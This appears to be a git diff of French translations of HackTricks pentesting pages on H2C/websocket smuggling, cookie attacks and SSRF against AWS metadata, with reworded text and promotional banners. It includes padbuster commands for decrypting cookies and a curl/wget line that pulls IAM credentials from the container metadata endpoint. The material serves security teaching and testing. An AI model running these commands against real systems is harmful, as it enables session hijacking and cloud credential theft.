* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts GitHub HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -14,13 +14,21 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2 sur texte clair (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, ou **http2 sur texte clair**, s'éloigne de la norme des connexions HTTP transitoires en mettant à niveau une connexion HTTP standard vers une connexion persistante. Cette connexion améliorée utilise le protocole binaire http2 pour la communication continue, contrairement à la nature de requête unique de HTTP en texte clair.
|
||||
|
||||
Le cœur du problème de smuggling survient avec l'utilisation d'un **proxy inverse**. Ordinairement, le proxy inverse traite et transfère les requêtes HTTP vers l'arrière-plan, renvoyant ensuite la réponse de l'arrière-plan. Cependant, lorsque l'en-tête `Connection: Upgrade` est présent dans une requête HTTP (couramment observé avec les connexions websocket), le **proxy inverse maintient une connexion persistante** entre le client et le serveur, facilitant l'échange continu requis par certains protocoles. Pour les connexions H2C, le respect du RFC nécessite la présence de trois en-têtes spécifiques :
|
||||
Le cœur du problème de smuggling survient avec l'utilisation d'un **proxy inverse**. Ordinairement, le proxy inverse traite et transfère les requêtes HTTP vers l'arrière-plan, renvoyant la réponse de l'arrière-plan après cela. Cependant, lorsque l'en-tête `Connection: Upgrade` est présent dans une requête HTTP (couramment observé avec les connexions websocket), le **proxy inverse maintient une connexion persistante** entre le client et le serveur, facilitant l'échange continu requis par certains protocoles. Pour les connexions H2C, le respect du RFC nécessite la présence de trois en-têtes spécifiques :
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
|
@ -68,7 +76,7 @@ Le websocket smuggling, contrairement à la création d'un tunnel HTTP2 vers un
|
|||
Dans ce scénario, un backend offrant une API WebSocket publique aux côtés d'une API REST interne inaccessible est ciblé par un client malveillant cherchant à accéder à l'API REST interne. L'attaque se déroule en plusieurs étapes :
|
||||
|
||||
1. Le client commence par envoyer une demande de mise à niveau au proxy inverse avec une version de protocole `Sec-WebSocket-Version` incorrecte dans l'en-tête. Le proxy, ne parvenant pas à valider l'en-tête `Sec-WebSocket-Version`, considère la demande de mise à niveau comme valide et la transmet au backend.
|
||||
2. Le backend répond avec un code d'état `426`, indiquant la version de protocole incorrecte dans l'en-tête `Sec-WebSocket-Version`. Le proxy inverse, ignorant le statut de réponse du backend, suppose la disponibilité de la communication WebSocket et transmet la réponse au client.
|
||||
2. Le backend répond avec un code d'état `426`, indiquant la version de protocole incorrecte dans l'en-tête `Sec-WebSocket-Version`. Le proxy inverse, ignorant la réponse du backend, suppose la disponibilité de la communication WebSocket et transmet la réponse au client.
|
||||
3. Par conséquent, le proxy inverse est trompé en croyant qu'une connexion WebSocket a été établie entre le client et le backend, alors qu'en réalité, le backend a rejeté la demande de mise à niveau. Malgré cela, le proxy maintient une connexion TCP ou TLS ouverte entre le client et le backend, permettant au client un accès illimité à l'API REST privée via cette connexion.
|
||||
|
||||
Les proxies inverses affectés incluent Varnish, qui a refusé de traiter le problème, et le proxy Envoy version 1.8.0 ou plus ancienne, les versions ultérieures ayant modifié le mécanisme de mise à niveau. D'autres proxies peuvent également être vulnérables.
|
||||
|
@ -102,6 +110,13 @@ Consultez les laboratoires pour tester les deux scénarios sur [https://github.c
|
|||
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
|
||||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -111,7 +126,7 @@ Autres moyens de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez** 💬 le groupe **Discord**](https://discord.gg/hRep4RUj7f) ou le groupe [**telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,6 +14,14 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Attributs des Cookies
|
||||
|
||||
Les cookies sont accompagnés de plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs de manière plus passive :
|
||||
|
@ -24,7 +32,7 @@ La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. En r
|
|||
|
||||
### Domaine
|
||||
|
||||
Les hôtes recevant un cookie sont spécifiés par l'attribut `Domain`. Par défaut, cela est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` moins restrictive, utile pour les scénarios où le partage de cookies entre les sous-domaines est nécessaire. Par exemple, définir `Domain=mozilla.org` rend les cookies accessibles sur ses sous-domaines comme `developer.mozilla.org`.
|
||||
Les hôtes recevant un cookie sont spécifiés par l'attribut `Domain`. Par défaut, cela est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` moins restrictive, utile pour les scénarios où le partage de cookies entre les sous-domaines est nécessaire. Par exemple, en définissant `Domain=mozilla.org`, les cookies sont accessibles sur ses sous-domaines comme `developer.mozilla.org`.
|
||||
|
||||
### Chemin
|
||||
|
||||
|
@ -42,25 +50,25 @@ Lorsque deux cookies portent le même nom, celui choisi pour l'envoi est basé s
|
|||
* L'attribut `SameSite` dicte si les cookies sont envoyés sur des requêtes provenant de domaines tiers. Il offre trois paramètres :
|
||||
* **Strict** : Restreint l'envoi du cookie sur des requêtes tierces.
|
||||
* **Lax** : Autorise l'envoi du cookie avec des requêtes GET initiées par des sites tiers.
|
||||
* **None** : Autorise l'envoi du cookie à partir de n'importe quel domaine tiers.
|
||||
* **None** : Autorise l'envoi du cookie depuis n'importe quel domaine tiers.
|
||||
|
||||
N'oubliez pas que lors de la configuration des cookies, la compréhension de ces attributs peut aider à garantir qu'ils se comportent comme prévu dans différents scénarios.
|
||||
|
||||
| **Type de Requête** | **Code Exemple** | **Cookies Envoyés Lorsque** |
|
||||
| ------------------- | ---------------------------------- | -------------------------- |
|
||||
| Lien | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulaire GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulaire POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
| Lien | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Pré-chargement | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulaire GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulaire POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tableau de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) et légèrement modifié.\
|
||||
Un cookie avec l'attribut _**SameSite**_ aidera à **atténuer les attaques CSRF** où une session connectée est nécessaire.
|
||||
|
||||
**\*Notez qu'à partir de Chrome80 (fév/2019), le comportement par défaut d'un cookie sans un attribut samesite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notez temporairement, après l'application de ce changement, les **cookies sans une politique SameSite** **dans Chrome seront traités comme None** pendant les **2 premières minutes puis comme Lax pour les requêtes POST intersites de niveau supérieur.**
|
||||
**\*Notez qu'à partir de Chrome80 (fév/2019), le comportement par défaut d'un cookie sans attribut SameSite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notez temporairement, après l'application de ce changement, les **cookies sans politique SameSite** **dans Chrome seront traités comme None** pendant les **2 premières minutes puis comme Lax pour les requêtes POST intersites de niveau supérieur.**
|
||||
|
||||
## Drapeaux des Cookies
|
||||
|
||||
|
@ -70,9 +78,9 @@ Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple
|
|||
|
||||
#### **Contournements**
|
||||
|
||||
* Si la page **envoie les cookies en réponse** à une requête (par exemple dans une page **PHPinfo**), il est possible d'abuser du XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (consultez un exemple dans [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Cela pourrait être contourné avec des requêtes **TRACE** **HTTP** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Suivi intersites**.
|
||||
* Cette technique est évitée par les **navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
|
||||
* Si la page **envoie les cookies en réponse** à une requête (par exemple dans une page **PHPinfo**), il est possible d'exploiter la XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (consultez un exemple dans [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Cela peut être contourné avec des requêtes **HTTP TRACE** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Suivi intersites**.
|
||||
* Cette technique est évitée par les **navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements à cela ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
|
||||
* Une autre méthode est l'exploitation de vulnérabilités zero/day des navigateurs.
|
||||
* Il est possible de **remplacer les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar :
|
||||
|
||||
|
@ -80,9 +88,9 @@ Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple
|
|||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Il est possible d'utiliser une attaque de [**Smuggling de Cookies**](./#cookie-smuggling) pour exfiltrer ces cookies
|
||||
* Il est possible d'utiliser une attaque [**Cookie Smuggling**](./#cookie-smuggling) pour exfiltrer ces cookies
|
||||
|
||||
### Sécurisé
|
||||
### Secure
|
||||
|
||||
La requête enverra le cookie **uniquement** dans une requête HTTP si la requête est transmise sur un canal sécurisé (typiquement **HTTPS**).
|
||||
|
||||
|
@ -104,7 +112,7 @@ Si un cookie personnalisé contient des données sensibles, vérifiez-le (surtou
|
|||
|
||||
### Décodage et Manipulation des Cookies
|
||||
|
||||
Les données sensibles intégrées dans les cookies doivent toujours être examinées attentivement. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et de se faire passer pour d'autres utilisateurs en encodant leurs données modifiées dans le cookie.
|
||||
Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et de se faire passer pour d'autres utilisateurs en encodant leurs données modifiées dans le cookie.
|
||||
|
||||
### Détournement de Session
|
||||
|
||||
|
@ -112,7 +120,7 @@ Cette attaque consiste à voler le cookie d'un utilisateur pour accéder de mani
|
|||
|
||||
### Fixation de Session
|
||||
|
||||
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application ne génère pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie d'origine, peut se faire passer pour la victime. Cette technique repose sur la victime se connectant avec un cookie fourni par l'attaquant.
|
||||
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application ne génère pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut se faire passer pour la victime. Cette technique repose sur la victime se connectant avec un cookie fourni par l'attaquant.
|
||||
|
||||
Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
||||
|
||||
|
@ -174,33 +182,33 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
```
|
||||
#### Vulnérabilités d'injection de cookies
|
||||
|
||||
(Vérifiez les détails supplémentaires dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) L'analyse incorrecte des cookies par les serveurs, notamment Undertow, Zope et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour les attaques d'injection de cookies. Ces serveurs ne parviennent pas à délimiter correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies :
|
||||
(Vérifiez les détails supplémentaires dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) L'analyse incorrecte des cookies par les serveurs, notamment Undertow, Zope et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour des attaques d'injection de cookies. Ces serveurs ne parviennent pas à délimiter correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies :
|
||||
|
||||
- Undertow attend un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
|
||||
- Zope recherche une virgule pour commencer l'analyse du cookie suivant.
|
||||
- Les classes de cookies de Python commencent l'analyse sur un caractère d'espace.
|
||||
* Undertow attend un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
|
||||
* Zope recherche une virgule pour commencer l'analyse du cookie suivant.
|
||||
* Les classes de cookies de Python commencent l'analyse sur un caractère d'espace.
|
||||
|
||||
Cette vulnérabilité est particulièrement dangereuse dans les applications web reposant sur une protection CSRF basée sur les cookies, car elle permet aux attaquants d'injecter des cookies de jeton CSRF falsifiés, contournant potentiellement les mesures de sécurité. Le problème est exacerbé par la gestion des noms de cookies en double par Python, où la dernière occurrence remplace les précédentes. Cela soulève également des préoccupations pour les cookies `__Secure-` et `__Host-` dans des contextes non sécurisés et pourrait entraîner des contournements d'autorisation lorsque les cookies sont transmis à des serveurs back-end susceptibles de falsification.
|
||||
Cette vulnérabilité est particulièrement dangereuse dans les applications web reposant sur une protection CSRF basée sur les cookies, car elle permet aux attaquants d'injecter des cookies de jeton CSRF falsifiés, contournant potentiellement les mesures de sécurité. Le problème est exacerbé par la gestion des noms de cookies en double par Python, où la dernière occurrence remplace les précédentes. Il soulève également des préoccupations pour les cookies `__Secure-` et `__Host-` dans des contextes non sécurisés et pourrait entraîner des contournements d'autorisation lorsque les cookies sont transmis à des serveurs back-end susceptibles de falsification.
|
||||
|
||||
### Vérifications supplémentaires des cookies vulnérables
|
||||
|
||||
#### **Vérifications de base**
|
||||
|
||||
- Le **cookie** est le **même** à chaque fois que vous **vous connectez**.
|
||||
- Déconnectez-vous et essayez d'utiliser le même cookie.
|
||||
- Essayez de vous connecter avec 2 appareils (ou navigateurs) sur le même compte en utilisant le même cookie.
|
||||
- Vérifiez si le cookie contient des informations et essayez de le modifier.
|
||||
- Essayez de créer plusieurs comptes avec des noms d'utilisateur presque identiques et vérifiez si vous pouvez voir des similitudes.
|
||||
- Vérifiez l'option "**se souvenir de moi**" si elle existe pour voir comment elle fonctionne. Si elle existe et pourrait être vulnérable, utilisez toujours le cookie de **se souvenir de moi** sans aucun autre cookie.
|
||||
- Vérifiez si le cookie précédent fonctionne même après avoir changé le mot de passe.
|
||||
* Le **cookie** est le **même** à chaque fois que vous **vous connectez**.
|
||||
* Déconnectez-vous et essayez d'utiliser le même cookie.
|
||||
* Essayez de vous connecter avec 2 appareils (ou navigateurs) sur le même compte en utilisant le même cookie.
|
||||
* Vérifiez si le cookie contient des informations et essayez de le modifier.
|
||||
* Essayez de créer plusieurs comptes avec des noms d'utilisateur presque identiques et vérifiez s'il y a des similitudes.
|
||||
* Vérifiez l'option "**se souvenir de moi**" si elle existe pour voir comment elle fonctionne. Si elle existe et peut être vulnérable, utilisez toujours le cookie de **se souvenir de moi** sans aucun autre cookie.
|
||||
* Vérifiez si le cookie précédent fonctionne même après avoir changé le mot de passe.
|
||||
|
||||
#### **Attaques avancées de cookies**
|
||||
#### **Attaques de cookies avancées**
|
||||
|
||||
Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Ensuite, vous pouvez :
|
||||
|
||||
- Essayez de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayez de **deviner** comment fonctionne l'algorithme.
|
||||
- Essayez de **forcer le nom d'utilisateur**. Si le cookie ne sauvegarde que comme méthode d'authentification pour votre nom d'utilisateur, vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **forcer** chaque **bit** de votre cookie car l'un des cookies que vous essayerez appartiendra à "**admin**".
|
||||
- Essayez **Padding Oracle** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**.
|
||||
* Essayez de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayez de **deviner** comment l'algorithme fonctionne.
|
||||
* Essayez de **forcer le nom d'utilisateur**. Si le cookie ne sauvegarde que comme méthode d'authentification pour votre nom d'utilisateur, vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **forcer** chaque **bit** de votre cookie car l'un des cookies que vous essayerez appartiendra à "**admin**".
|
||||
* Essayez **Padding** **Oracle** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**.
|
||||
|
||||
**Padding Oracle - Exemples de Padbuster**
|
||||
```bash
|
||||
|
@ -212,7 +220,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster fera plusieurs tentatives et vous demandera quelle condition est l'erreur (celle qui n'est pas valide).
|
||||
Padbuster fera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide).
|
||||
|
||||
Ensuite, il commencera à décrypter le cookie (cela peut prendre plusieurs minutes).
|
||||
|
||||
|
@ -243,23 +251,30 @@ Créez 2 utilisateurs avec des données presque identiques (nom d'utilisateur, m
|
|||
|
||||
Créez un utilisateur appelé par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vérifiez s'il y a un motif dans le cookie (comme ECB chiffre avec la même clé chaque bloc, les mêmes octets chiffrés pourraient apparaître si le nom d'utilisateur est chiffré).
|
||||
|
||||
Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Ainsi, en sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie du nom d'utilisateur "admin".
|
||||
Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Ainsi, en sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie de l'utilisateur "admin".
|
||||
|
||||
## Références
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,16 +4,24 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### Abus de SSRF dans l'environnement AWS EC2
|
||||
|
@ -25,7 +33,7 @@ Il existe **2 versions** de la métadonnée. La **première** permet d'**accéde
|
|||
{% hint style="danger" %}
|
||||
Notez que si l'instance EC2 impose IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2.
|
||||
|
||||
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés de pouvoir y accéder.
|
||||
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes en sont extraites :
|
||||
|
@ -116,7 +124,7 @@ L'adresse http mentionnée devrait vous donner les **AccessKey, SecretKey et tok
|
|||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que dans **certains cas** vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||
